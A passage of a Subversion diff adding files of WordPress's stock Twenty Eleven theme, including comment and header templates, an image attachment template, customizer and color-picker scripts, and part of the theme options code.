+	if ( is_active_sidebar( 'sidebar-4' ) )
+		$count++;
+
+	if ( is_active_sidebar( 'sidebar-5' ) )
+		$count++;
+
+	$class = '';
+
+	switch ( $count ) {
+		case '1':
+			$class = 'one';
+			break;
+		case '2':
+			$class = 'two';
+			break;
+		case '3':
+			$class = 'three';
+			break;
+	}
+
+	if ( $class )
+		echo 'class="' . esc_attr( $class ) . '"';
+}
+
+if ( ! function_exists( 'twentyeleven_comment' ) ) :
+/**
+ * Template for comments and pingbacks.
+ *
+ * To override this walker in a child theme without modifying the comments template
+ * simply create your own twentyeleven_comment(), and that function will be used instead.
+ *
+ * Used as a callback by wp_list_comments() for displaying the comments.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param object $comment The comment object.
+ * @param array  $args    An array of comment arguments. @see get_comment_reply_link()
+ * @param int    $depth   The depth of the comment.
+ */
+function twentyeleven_comment( $comment, $args, $depth ) {
+	$GLOBALS['comment'] = $comment;
+	switch ( $comment->comment_type ) :
+		case 'pingback' :
+		case 'trackback' :
+	?>
+	<li class="post pingback">
+		<p><?php _e( 'Pingback:', 'twentyeleven' ); ?> <?php comment_author_link(); ?><?php edit_comment_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?></p>
+	<?php
+			break;
+		default :
+	?>
+	<li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>">
+		<article id="comment-<?php comment_ID(); ?>" class="comment">
+			<footer class="comment-meta">
+				<div class="comment-author vcard">
+					<?php
+						$avatar_size = 68;
+						if ( '0' != $comment->comment_parent )
+							$avatar_size = 39;
+
+						echo get_avatar( $comment, $avatar_size );
+
+						/* translators: 1: comment author, 2: date and time */
+						printf( __( '%1$s on %2$s <span class="says">said:</span>', 'twentyeleven' ),
+							sprintf( '<span class="fn">%s</span>', get_comment_author_link() ),
+							sprintf( '<a href="%1$s"><time datetime="%2$s">%3$s</time></a>',
+								esc_url( get_comment_link( $comment->comment_ID ) ),
+								get_comment_time( 'c' ),
+								/* translators: 1: date, 2: time */
+								sprintf( __( '%1$s at %2$s', 'twentyeleven' ), get_comment_date(), get_comment_time() )
+							)
+						);
+					?>
+
+					<?php edit_comment_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+				</div><!-- .comment-author .vcard -->
+
+				<?php if ( $comment->comment_approved == '0' ) : ?>
+					<em class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.', 'twentyeleven' ); ?></em>
+					<br />
+				<?php endif; ?>
+
+			</footer>
+
+			<div class="comment-content"><?php comment_text(); ?></div>
+
+			<div class="reply">
+				<?php comment_reply_link( array_merge( $args, array( 'reply_text' => __( 'Reply <span>&darr;</span>', 'twentyeleven' ), 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
+			</div><!-- .reply -->
+		</article><!-- #comment-## -->
+
+	<?php
+			break;
+	endswitch;
+}
+endif; // ends check for twentyeleven_comment()
+
+if ( ! function_exists( 'twentyeleven_posted_on' ) ) :
+/**
+ * Print HTML with meta information for the current post-date/time and author.
+ *
+ * Create your own twentyeleven_posted_on to override in a child theme
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_posted_on() {
+	printf( __( '<span class="sep">Posted on </span><a href="%1$s" title="%2$s" rel="bookmark"><time class="entry-date" datetime="%3$s">%4$s</time></a><span class="by-author"> <span class="sep"> by </span> <span class="author vcard"><a class="url fn n" href="%5$s" title="%6$s" rel="author">%7$s</a></span></span>', 'twentyeleven' ),
+		esc_url( get_permalink() ),
+		esc_attr( get_the_time() ),
+		esc_attr( get_the_date( 'c' ) ),
+		esc_html( get_the_date() ),
+		esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
+		esc_attr( sprintf( __( 'View all posts by %s', 'twentyeleven' ), get_the_author() ) ),
+		get_the_author()
+	);
+}
+endif;
+
+/**
+ * Add two classes to the array of body classes.
+ *
+ * The first is if the site has only had one author with published posts.
+ * The second is if a singular post being displayed
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param array $classes Existing body classes.
+ * @return array The filtered array of body classes.
+ */
+function twentyeleven_body_classes( $classes ) {
+
+	if ( function_exists( 'is_multi_author' ) && ! is_multi_author() )
+		$classes[] = 'single-author';
+
+	if ( is_singular() && ! is_home() && ! is_page_template( 'showcase.php' ) && ! is_page_template( 'sidebar-page.php' ) )
+		$classes[] = 'singular';
+
+	return $classes;
+}
+add_filter( 'body_class', 'twentyeleven_body_classes' );
+
+/**
+ * Retrieve the IDs for images in a gallery.
+ *
+ * @uses get_post_galleries() First, if available. Falls back to shortcode parsing,
+ *                            then as last option uses a get_posts() call.
+ *
+ * @since Twenty Eleven 1.6
+ *
+ * @return array List of image IDs from the post gallery.
+ */
+function twentyeleven_get_gallery_images() {
+	$images = array();
+
+	if ( function_exists( 'get_post_galleries' ) ) {
+		$galleries = get_post_galleries( get_the_ID(), false );
+		if ( isset( $galleries[0]['ids'] ) )
+			$images = explode( ',', $galleries[0]['ids'] );
+	} else {
+		$pattern = get_shortcode_regex();
+		preg_match( "/$pattern/s", get_the_content(), $match );
+		$atts = shortcode_parse_atts( $match[3] );
+		if ( isset( $atts['ids'] ) )
+			$images = explode( ',', $atts['ids'] );
+	}
+
+	if ( ! $images ) {
+		$images = get_posts( array(
+			'fields'         => 'ids',
+			'numberposts'    => 999,
+			'order'          => 'ASC',
+			'orderby'        => 'menu_order',
+			'post_mime_type' => 'image',
+			'post_parent'    => get_the_ID(),
+			'post_type'      => 'attachment',
+		) );
+	}
+
+	return $images;
+}
+
+/**
+ * Modifies tag cloud widget arguments to display all tags in the same font size
+ * and use list format for better accessibility.
+ *
+ * @since Twenty Eleven 2.7
+ *
+ * @param array $args Arguments for tag cloud widget.
+ * @return array The filtered arguments for tag cloud widget.
+ */
+function twentyeleven_widget_tag_cloud_args( $args ) {
+	$args['largest']  = 22;
+	$args['smallest'] = 8;
+	$args['unit']     = 'pt';
+	$args['format']   = 'list';
+
+	return $args;
+}
+add_filter( 'widget_tag_cloud_args', 'twentyeleven_widget_tag_cloud_args' );
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/header.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/header.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/header.php	(revision 56912)
@@ -0,0 +1,145 @@
+<?php
+/**
+ * Header template for the theme
+ *
+ * Displays all of the <head> section and everything up till <div id="main">.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+?><!DOCTYPE html>
+<!--[if IE 6]>
+<html id="ie6" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if IE 7]>
+<html id="ie7" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if IE 8]>
+<html id="ie8" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if !(IE 6) & !(IE 7) & !(IE 8)]><!-->
+<html <?php language_attributes(); ?>>
+<!--<![endif]-->
+<head>
+<meta charset="<?php bloginfo( 'charset' ); ?>" />
+<meta name="viewport" content="width=device-width" />
+<title><?php
+	// Print the <title> tag based on what is being viewed.
+	global $page, $paged;
+
+	wp_title( '|', true, 'right' );
+
+	// Add the blog name.
+	bloginfo( 'name' );
+
+	// Add the blog description for the home/front page.
+	$site_description = get_bloginfo( 'description', 'display' );
+	if ( $site_description && ( is_home() || is_front_page() ) )
+		echo " | $site_description";
+
+	// Add a page number if necessary:
+	if ( ( $paged >= 2 || $page >= 2 ) && ! is_404() )
+		echo esc_html( ' | ' . sprintf( __( 'Page %s', 'twentyeleven' ), max( $paged, $page ) ) );
+
+	?></title>
+<link rel="profile" href="http://gmpg.org/xfn/11" />
+<link rel="stylesheet" type="text/css" media="all" href="<?php bloginfo( 'stylesheet_url' ); ?>" />
+<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
+<!--[if lt IE 9]>
+<script src="<?php echo get_template_directory_uri(); ?>/js/html5.js" type="text/javascript"></script>
+<![endif]-->
+<?php
+	/*
+	 * We add some JavaScript to pages with the comment form
+	 * to support sites with threaded comments (when in use).
+	 */
+	if ( is_singular() && get_option( 'thread_comments' ) )
+		wp_enqueue_script( 'comment-reply' );
+
+	/*
+	 * Always have wp_head() just before the closing </head>
+	 * tag of your theme, or you will break many plugins, which
+	 * generally use this hook to add elements to <head> such
+	 * as styles, scripts, and meta tags.
+	 */
+	wp_head();
+?>
+</head>
+
+<body <?php body_class(); ?>>
+<div id="page" class="hfeed">
+	<header id="branding" role="banner">
+			<hgroup>
+				<h1 id="site-title"><span><a href="<?php echo esc_url( home_url( '/' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></span></h1>
+				<h2 id="site-description"><?php bloginfo( 'description' ); ?></h2>
+			</hgroup>
+
+			<?php
+				// Check to see if the header image has been removed
+				$header_image = get_header_image();
+				if ( $header_image ) :
+					// Compatibility with versions of WordPress prior to 3.4.
+					if ( function_exists( 'get_custom_header' ) ) {
+						/*
+						 * We need to figure out what the minimum width should be for our featured image.
+						 * This result would be the suggested width if the theme were to implement flexible widths.
+						 */
+						$header_image_width = get_theme_support( 'custom-header', 'width' );
+					} else {
+						$header_image_width = HEADER_IMAGE_WIDTH;
+					}
+					?>
+			<a href="<?php echo esc_url( home_url( '/' ) ); ?>">
+				<?php
+					/*
+					 * The header image.
+					 * Check if this is a post or page, if it has a thumbnail, and if it's a big one
+					 */
+					if ( is_singular() && has_post_thumbnail( $post->ID ) &&
+							( /* $src, $width, $height */ $image = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), array( $header_image_width, $header_image_width ) ) ) &&
+							$image[1] >= $header_image_width ) :
+						// Houston, we have a new header image!
+						echo get_the_post_thumbnail( $post->ID, 'post-thumbnail' );
+					else :
+						// Compatibility with versions of WordPress prior to 3.4.
+						if ( function_exists( 'get_custom_header' ) ) {
+							$header_image_width  = get_custom_header()->width;
+							$header_image_height = get_custom_header()->height;
+						} else {
+							$header_image_width  = HEADER_IMAGE_WIDTH;
+							$header_image_height = HEADER_IMAGE_HEIGHT;
+						}
+						?>
+					<img src="<?php header_image(); ?>" width="<?php echo esc_attr( $header_image_width ); ?>" height="<?php echo esc_attr( $header_image_height ); ?>" alt="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" />
+				<?php endif; // end check for featured image or standard header ?>
+			</a>
+			<?php endif; // end check for removed header image ?>
+
+			<?php
+				// Has the text been hidden?
+				if ( 'blank' == get_header_textcolor() ) :
+			?>
+				<div class="only-search<?php if ( $header_image ) : ?> with-image<?php endif; ?>">
+				<?php get_search_form(); ?>
+				</div>
+			<?php
+				else :
+			?>
+				<?php get_search_form(); ?>
+			<?php endif; ?>
+
+			<nav id="access" role="navigation">
+				<h3 class="assistive-text"><?php _e( 'Main menu', 'twentyeleven' ); ?></h3>
+				<?php /* Allow screen readers / text browsers to skip the navigation menu and get right to the good stuff. */ ?>
+				<div class="skip-link"><a class="assistive-text" href="#content"><?php _e( 'Skip to primary content', 'twentyeleven' ); ?></a></div>
+				<?php if ( ! is_singular() ) : ?>
+					<div class="skip-link"><a class="assistive-text" href="#secondary"><?php _e( 'Skip to secondary content', 'twentyeleven' ); ?></a></div>
+				<?php endif; ?>
+				<?php /* Our navigation menu. If one isn't filled out, wp_nav_menu falls back to wp_page_menu. The menu assigned to the primary location is the one used. If one isn't assigned, the menu with the lowest ID is used. */ ?>
+				<?php wp_nav_menu( array( 'theme_location' => 'primary' ) ); ?>
+			</nav><!-- #access -->
+	</header><!-- #branding -->
+
+
+	<div id="main">
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/image.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/image.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/image.php	(revision 56912)
@@ -0,0 +1,112 @@
+<?php
+/**
+ * Template for displaying image attachments
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+get_header(); ?>
+
+		<div id="primary" class="image-attachment">
+			<div id="content" role="main">
+
+			<?php while ( have_posts() ) : the_post(); ?>
+
+				<nav id="nav-single">
+					<h3 class="assistive-text"><?php _e( 'Image navigation', 'twentyeleven' ); ?></h3>
+					<span class="nav-previous"><?php previous_image_link( false, __( '&larr; Previous' , 'twentyeleven' ) ); ?></span>
+					<span class="nav-next"><?php next_image_link( false, __( 'Next &rarr;' , 'twentyeleven' ) ); ?></span>
+				</nav><!-- #nav-single -->
+
+					<article id="post-<?php the_ID(); ?>" <?php post_class(); ?>>
+						<header class="entry-header">
+							<h1 class="entry-title"><?php the_title(); ?></h1>
+
+							<div class="entry-meta">
+								<?php
+									$metadata = wp_get_attachment_metadata();
+									printf( __( '<span class="meta-prep meta-prep-entry-date">Published </span> <span class="entry-date"><abbr class="published" title="%1$s">%2$s</abbr></span> at <a href="%3$s" title="Link to full-size image">%4$s &times; %5$s</a> in <a href="%6$s" title="Return to %7$s" rel="gallery">%8$s</a>', 'twentyeleven' ),
+										esc_attr( get_the_time() ),
+										get_the_date(),
+										esc_url( wp_get_attachment_url() ),
+										$metadata['width'],
+										$metadata['height'],
+										esc_url( get_permalink( $post->post_parent ) ),
+										esc_attr( strip_tags( get_the_title( $post->post_parent ) ) ),
+										get_the_title( $post->post_parent )
+									);
+								?>
+								<?php edit_post_link( __( 'Edit', 'twentyeleven' ), '<span class="edit-link">', '</span>' ); ?>
+							</div><!-- .entry-meta -->
+
+						</header><!-- .entry-header -->
+
+						<div class="entry-content">
+
+							<div class="entry-attachment">
+								<div class="attachment">
+<?php
+	/*
+	 * Grab the IDs of all the image attachments in a gallery so we can get the URL of the next adjacent image in a gallery,
+	 * or the first image (if we're looking at the last image in a gallery), or, in a gallery of one, just the link to that image file
+	 */
+	$attachments = array_values( get_children( array( 'post_parent' => $post->post_parent, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID' ) ) );
+	foreach ( $attachments as $k => $attachment ) {
+		if ( $attachment->ID == $post->ID )
+			break;
+	}
+
+	// If there is more than 1 attachment in a gallery
+	if ( count( $attachments ) > 1 ) {
+		$k++;
+		if ( isset( $attachments[ $k ] ) )
+			// get the URL of the next image attachment
+			$next_attachment_url = get_attachment_link( $attachments[ $k ]->ID );
+		else
+			// or get the URL of the first image attachment
+			$next_attachment_url = get_attachment_link( $attachments[0]->ID );
+	} else {
+		// or, if there's only 1 image, get the URL of the image
+		$next_attachment_url = wp_get_attachment_url();
+	}
+?>
+									<a href="<?php echo esc_url( $next_attachment_url ); ?>" title="<?php the_title_attribute(); ?>" rel="attachment"><?php
+									/**
+									 * Filter the Twenty Eleven default attachment size.
+									 *
+									 * @since Twenty Eleven 1.0
+									 *
+									 * @param int The height and width attachment size dimensions in pixels. Default 848.
+									 */
+									$attachment_size = apply_filters( 'twentyeleven_attachment_size', 848 );
+									echo wp_get_attachment_image( $post->ID, array( $attachment_size, 1024 ) ); // filterable image width with 1024px limit for image height.
+									?></a>
+
+									<?php if ( ! empty( $post->post_excerpt ) ) : ?>
+									<div class="entry-caption">
+										<?php the_excerpt(); ?>
+									</div>
+									<?php endif; ?>
+								</div><!-- .attachment -->
+
+							</div><!-- .entry-attachment -->
+
+							<div class="entry-description">
+								<?php the_content(); ?>
+								<?php wp_link_pages( array( 'before' => '<div class="page-link"><span>' . __( 'Pages:', 'twentyeleven' ) . '</span>', 'after' => '</div>' ) ); ?>
+							</div><!-- .entry-description -->
+
+						</div><!-- .entry-content -->
+
+					</article><!-- #post-<?php the_ID(); ?> -->
+
+					<?php comments_template(); ?>
+
+				<?php endwhile; // end of the loop. ?>
+
+			</div><!-- #content -->
+		</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/inc/theme-customizer.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/inc/theme-customizer.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/inc/theme-customizer.js	(revision 56912)
@@ -0,0 +1,30 @@
+( function( $ ){
+	wp.customize( 'blogname', function( value ) {
+		value.bind( function( to ) {
+			$( '#site-title a' ).text( to );
+		} );
+	} );
+	wp.customize( 'blogdescription', function( value ) {
+		value.bind( function( to ) {
+			$( '#site-description' ).text( to );
+		} );
+	} );
+
+	// Header text color
+	wp.customize( 'header_textcolor', function( value ) {
+		value.bind( function( to ) {
+			if ( 'blank' === to ) {
+				$( '#site-title, #site-title a, #site-description' ).css( {
+					'clip': 'rect(1px, 1px, 1px, 1px)',
+					'position': 'absolute'
+				} );
+			} else {
+				$( '#site-title, #site-title a, #site-description' ).css( {
+					'clip': 'auto',
+					'color': to,
+					'position': 'relative'
+				} );
+			}
+		} );
+	} );
+} )( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/inc/theme-options.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/inc/theme-options.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/inc/theme-options.css	(revision 56912)
@@ -0,0 +1,35 @@
+#wpcontent select option {
+	padding-right: 5px;
+}
+.image-radio-option td {
+	padding-top: 15px;
+}
+.image-radio-option label {
+	display: block;
+	float: left;
+	margin: 0 30px 20px 2px;
+	position: relative;
+}
+.image-radio-option input {
+	margin: 0 0 10px;
+}
+.image-radio-option span {
+	display: block;
+	width: 136px;
+}
+.image-radio-option img {
+	margin: 0 0 0 -2px;
+}
+#link-color-example {
+	-moz-border-radius: 4px;
+	-webkit-border-radius: 4px;
+	border-radius: 4px;
+	border: 1px solid #dfdfdf;
+	margin: 0 7px 0 3px;
+	padding: 4px 14px;
+}
+
+body.rtl .image-radio-option label {
+	float: right;
+	margin: 0 2px 20px 30px;
+}
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/inc/theme-options.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/inc/theme-options.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/inc/theme-options.js	(revision 56912)
@@ -0,0 +1,52 @@
+var farbtastic;
+
+(function($){
+	var pickColor = function(a) {
+		farbtastic.setColor(a);
+		$('#link-color').val(a);
+		$('#link-color-example').css('background-color', a);
+	};
+
+	$(document).ready( function() {
+		$('#default-color').wrapInner('<a href="#" />');
+
+		farbtastic = $.farbtastic('#colorPickerDiv', pickColor);
+
+		pickColor( $('#link-color').val() );
+
+		$('.pickcolor').click( function(e) {
+			$('#colorPickerDiv').show();
+			e.preventDefault();
+		});
+
+		$('#link-color').keyup( function() {
+			var a = $('#link-color').val(),
+				b = a;
+
+			a = a.replace(/[^a-fA-F0-9]/, '');
+			if ( '#' + a !== b )
+				$('#link-color').val(a);
+			if ( a.length === 3 || a.length === 6 )
+				pickColor( '#' + a );
+		});
+
+		$(document).mousedown( function() {
+			$('#colorPickerDiv').hide();
+		});
+
+		$('#default-color a').click( function(e) {
+			pickColor( '#' + this.innerHTML.replace(/[^a-fA-F0-9]/, '') );
+			e.preventDefault();
+		});
+
+		$('.image-radio-option.color-scheme input:radio').change( function() {
+			var currentDefault = $('#default-color a'),
+				newDefault = $(this).next().val();
+
+			if ( $('#link-color').val() == currentDefault.text() )
+				pickColor( newDefault );
+
+			currentDefault.text( newDefault );
+		});
+	});
+})(jQuery);
Index: /tags/5.0.20/src/wp-content/themes/twentyeleven/inc/theme-options.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentyeleven/inc/theme-options.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentyeleven/inc/theme-options.php	(revision 56912)
@@ -0,0 +1,624 @@
+<?php
+/**
+ * Twenty Eleven Theme Options
+ *
+ * @package WordPress
+ * @subpackage Twenty_Eleven
+ * @since Twenty Eleven 1.0
+ */
+
+/**
+ * Properly enqueue styles and scripts for our theme options page.
+ *
+ * This function is attached to the admin_enqueue_scripts action hook.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param string $hook_suffix An admin page's hook suffix.
+ */
+function twentyeleven_admin_enqueue_scripts( $hook_suffix ) {
+	wp_enqueue_style( 'twentyeleven-theme-options', get_template_directory_uri() . '/inc/theme-options.css', false, '2011-04-28' );
+	wp_enqueue_script( 'twentyeleven-theme-options', get_template_directory_uri() . '/inc/theme-options.js', array( 'farbtastic' ), '2011-06-10' );
+	wp_enqueue_style( 'farbtastic' );
+}
+add_action( 'admin_print_styles-appearance_page_theme_options', 'twentyeleven_admin_enqueue_scripts' );
+
+/**
+ * Register the form setting for our twentyeleven_options array.
+ *
+ * This function is attached to the admin_init action hook.
+ *
+ * This call to register_setting() registers a validation callback, twentyeleven_theme_options_validate(),
+ * which is used when the option is saved, to ensure that our option values are complete, properly
+ * formatted, and safe.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_theme_options_init() {
+
+	register_setting(
+		'twentyeleven_options',       // Options group, see settings_fields() call in twentyeleven_theme_options_render_page()
+		'twentyeleven_theme_options', // Database option, see twentyeleven_get_theme_options()
+		'twentyeleven_theme_options_validate' // The sanitization callback, see twentyeleven_theme_options_validate()
+	);
+
+	// Register our settings field group
+	add_settings_section(
+		'general', // Unique identifier for the settings section
+		'', // Section title (we don't want one)
+		'__return_false', // Section callback (we don't want anything)
+		'theme_options' // Menu slug, used to uniquely identify the page; see twentyeleven_theme_options_add_page()
+	);
+
+	// Register our individual settings fields
+	add_settings_field(
+		'color_scheme',                             // Unique identifier for the field for this section
+		__( 'Color Scheme', 'twentyeleven' ),       // Setting field label
+		'twentyeleven_settings_field_color_scheme', // Function that renders the settings field
+		'theme_options',                            // Menu slug, used to uniquely identify the page; see twentyeleven_theme_options_add_page()
+		'general'                                   // Settings section. Same as the first argument in the add_settings_section() above
+	);
+
+	add_settings_field( 'link_color', __( 'Link Color',     'twentyeleven' ), 'twentyeleven_settings_field_link_color', 'theme_options', 'general' );
+	add_settings_field( 'layout',     __( 'Default Layout', 'twentyeleven' ), 'twentyeleven_settings_field_layout',     'theme_options', 'general' );
+}
+add_action( 'admin_init', 'twentyeleven_theme_options_init' );
+
+/**
+ * Change the capability required to save the 'twentyeleven_options' options group.
+ *
+ * @see twentyeleven_theme_options_init()     First parameter to register_setting() is the name of the options group.
+ * @see twentyeleven_theme_options_add_page() The edit_theme_options capability is used for viewing the page.
+ *
+ * By default, the options groups for all registered settings require the manage_options capability.
+ * This filter is required to change our theme options page to edit_theme_options instead.
+ * By default, only administrators have either of these capabilities, but the desire here is
+ * to allow for finer-grained control for roles and users.
+ *
+ * @param string $capability The capability used for the page, which is manage_options by default.
+ * @return string The capability to actually use.
+ */
+function twentyeleven_option_page_capability( $capability ) {
+	return 'edit_theme_options';
+}
+add_filter( 'option_page_capability_twentyeleven_options', 'twentyeleven_option_page_capability' );
+
+/**
+ * Add a theme options page to the admin menu, including some help documentation.
+ *
+ * This function is attached to the admin_menu action hook.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_theme_options_add_page() {
+	$theme_page = add_theme_page(
+		__( 'Theme Options', 'twentyeleven' ),   // Name of page
+		__( 'Theme Options', 'twentyeleven' ),   // Label in menu
+		'edit_theme_options',                    // Capability required
+		'theme_options',                         // Menu slug, used to uniquely identify the page
+		'twentyeleven_theme_options_render_page' // Function that renders the options page
+	);
+
+	if ( ! $theme_page )
+		return;
+
+	add_action( "load-$theme_page", 'twentyeleven_theme_options_help' );
+}
+add_action( 'admin_menu', 'twentyeleven_theme_options_add_page' );
+
+function twentyeleven_theme_options_help() {
+
+	$help = '<p>' . __( 'Some themes provide customization options that are grouped together on a Theme Options screen. If you change themes, options may change or disappear, as they are theme-specific. Your current theme, Twenty Eleven, provides the following Theme Options:', 'twentyeleven' ) . '</p>' .
+			'<ol>' .
+				'<li>' . __( '<strong>Color Scheme</strong>: You can choose a color palette of "Light" (light background with dark text) or "Dark" (dark background with light text) for your site.', 'twentyeleven' ) . '</li>' .
+				'<li>' . __( '<strong>Link Color</strong>: You can choose the color used for text links on your site. You can enter the HTML color or hex code, or you can choose visually by clicking the "Select a Color" button to pick from a color wheel.', 'twentyeleven' ) . '</li>' .
+				'<li>' . __( '<strong>Default Layout</strong>: You can choose if you want your site&#8217;s default layout to have a sidebar on the left, the right, or not at all.', 'twentyeleven' ) . '</li>' .
+			'</ol>' .
+			'<p>' . __( 'Remember to click "Save Changes" to save any changes you have made to the theme options.', 'twentyeleven' ) . '</p>';
+
+	$sidebar = '<p><strong>' . __( 'For more information:', 'twentyeleven' ) . '</strong></p>' .
+		'<p>' . __( '<a href="https://codex.wordpress.org/Appearance_Theme_Options_Screen" target="_blank">Documentation on Theme Options</a>', 'twentyeleven' ) . '</p>' .
+		'<p>' . __( '<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>', 'twentyeleven' ) . '</p>';
+
+	$screen = get_current_screen();
+
+	if ( method_exists( $screen, 'add_help_tab' ) ) {
+		// WordPress 3.3.0
+		$screen->add_help_tab( array(
+			'title' => __( 'Overview', 'twentyeleven' ),
+			'id' => 'theme-options-help',
+			'content' => $help,
+			)
+		);
+
+		$screen->set_help_sidebar( $sidebar );
+	} else {
+		// WordPress 3.2.0
+		add_contextual_help( $screen, $help . $sidebar );
+	}
+}
+
+/**
+ * Return an array of color schemes registered for Twenty Eleven.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_color_schemes() {
+	$color_scheme_options = array(
+		'light' => array(
+			'value' => 'light',
+			'label' => __( 'Light', 'twentyeleven' ),
+			'thumbnail' => get_template_directory_uri() . '/inc/images/light.png',
+			'default_link_color' => '#1b8be0',
+		),
+		'dark' => array(
+			'value' => 'dark',
+			'label' => __( 'Dark', 'twentyeleven' ),
+			'thumbnail' => get_template_directory_uri() . '/inc/images/dark.png',
+			'default_link_color' => '#e4741f',
+		),
+	);
+
+	/**
+	 * Filter the Twenty Eleven color scheme options.
+	 *
+	 * @since Twenty Eleven 1.0
+	 *
+	 * @param array $color_scheme_options An associative array of color scheme options.
+	 */
+	return apply_filters( 'twentyeleven_color_schemes', $color_scheme_options );
+}
+
+/**
+ * Return an array of layout options registered for Twenty Eleven.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_layouts() {
+	$layout_options = array(
+		'content-sidebar' => array(
+			'value' => 'content-sidebar',
+			'label' => __( 'Content on left', 'twentyeleven' ),
+			'thumbnail' => get_template_directory_uri() . '/inc/images/content-sidebar.png',
+		),
+		'sidebar-content' => array(
+			'value' => 'sidebar-content',
+			'label' => __( 'Content on right', 'twentyeleven' ),
+			'thumbnail' => get_template_directory_uri() . '/inc/images/sidebar-content.png',
+		),
+		'content' => array(
+			'value' => 'content',
+			'label' => __( 'One-column, no sidebar', 'twentyeleven' ),
+			'thumbnail' => get_template_directory_uri() . '/inc/images/content.png',
+		),
+	);
+
+	/**
+	 * Filter the Twenty Eleven layout options.
+	 *
+	 * @since Twenty Eleven 1.0
+	 *
+	 * @param array $layout_options An associative array of layout options.
+	 */
+	return apply_filters( 'twentyeleven_layouts', $layout_options );
+}
+
+/**
+ * Return the default options for Twenty Eleven.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @return array An array of default theme options.
+ */
+function twentyeleven_get_default_theme_options() {
+	$default_theme_options = array(
+		'color_scheme' => 'light',
+		'link_color'   => twentyeleven_get_default_link_color( 'light' ),
+		'theme_layout' => 'content-sidebar',
+	);
+
+	if ( is_rtl() )
+		$default_theme_options['theme_layout'] = 'sidebar-content';
+
+	/**
+	 * Filter the Twenty Eleven default options.
+	 *
+	 * @since Twenty Eleven 1.0
+	 *
+	 * @param array $default_theme_options An array of default theme options.
+	 */
+	return apply_filters( 'twentyeleven_default_theme_options', $default_theme_options );
+}
+
+/**
+ * Return the default link color for Twenty Eleven, based on color scheme.
+ *
+ * @since Twenty Eleven 1.0
+ *
+ * @param string $color_scheme Optional. Color scheme.
+ *                             Default null (or the active color scheme).
+ * @return string The default link color.
+*/
+function twentyeleven_get_default_link_color( $color_scheme = null ) {
+	if ( null === $color_scheme ) {
+		$options = twentyeleven_get_theme_options();
+		$color_scheme = $options['color_scheme'];
+	}
+
+	$color_schemes = twentyeleven_color_schemes();
+	if ( ! isset( $color_schemes[ $color_scheme ] ) )
+		return false;
+
+	return $color_schemes[ $color_scheme ]['default_link_color'];
+}
+
+/**
+ * Return the options array for Twenty Eleven.
+ *
+ * @since Twenty Eleven 1.0
+ */
+function twentyeleven_get_theme_options() {
+	return get_option( 'twentyeleven_theme_options', twentyeleven_get_default_theme_options() );
+}
+
+/**
+ * Render the Color Scheme setting field.
+ *
+ * @since Twenty Eleven 1.3
+ */
+function twentyeleven_settings_field_color_scheme() {
+	$options = twentyeleven_get_theme_options();
+
+	foreach ( twentyeleven_color_schemes() as $scheme ) {
+	?>
+	<div class="layout image-radio-option color-scheme">
+	<label class="description">
+		<input type="radio" name="twentyeleven_theme_options[color_scheme]" value="<?php echo esc_attr( $scheme['value'] ); ?>" <?php checked( $options['color_scheme'], $scheme['value'] ); ?> />
+		<input type="hidden" id="default-color-<?php echo esc_attr( $scheme['value'] ); ?>" value="<?php echo esc_attr( $scheme['default_link_color'] ); ?>" />
+		<span>
+			<img src="<?php echo esc_url( $scheme['thumbnail'] ); ?>" width="136" height="122" alt="" />
+			<?php echo esc_html( $scheme['label'] ); ?>
+		</span>
+	</label>
+	</div>
+	<?php
+	}
+}
+
+/**
+ * Render the Link Color setting field.
+ *
+ * @since Twenty Eleven 1.3
+ */
+function twentyeleven_settings_field_link_color() {
+	$options = twentyeleven_get_theme_options();
+	?>
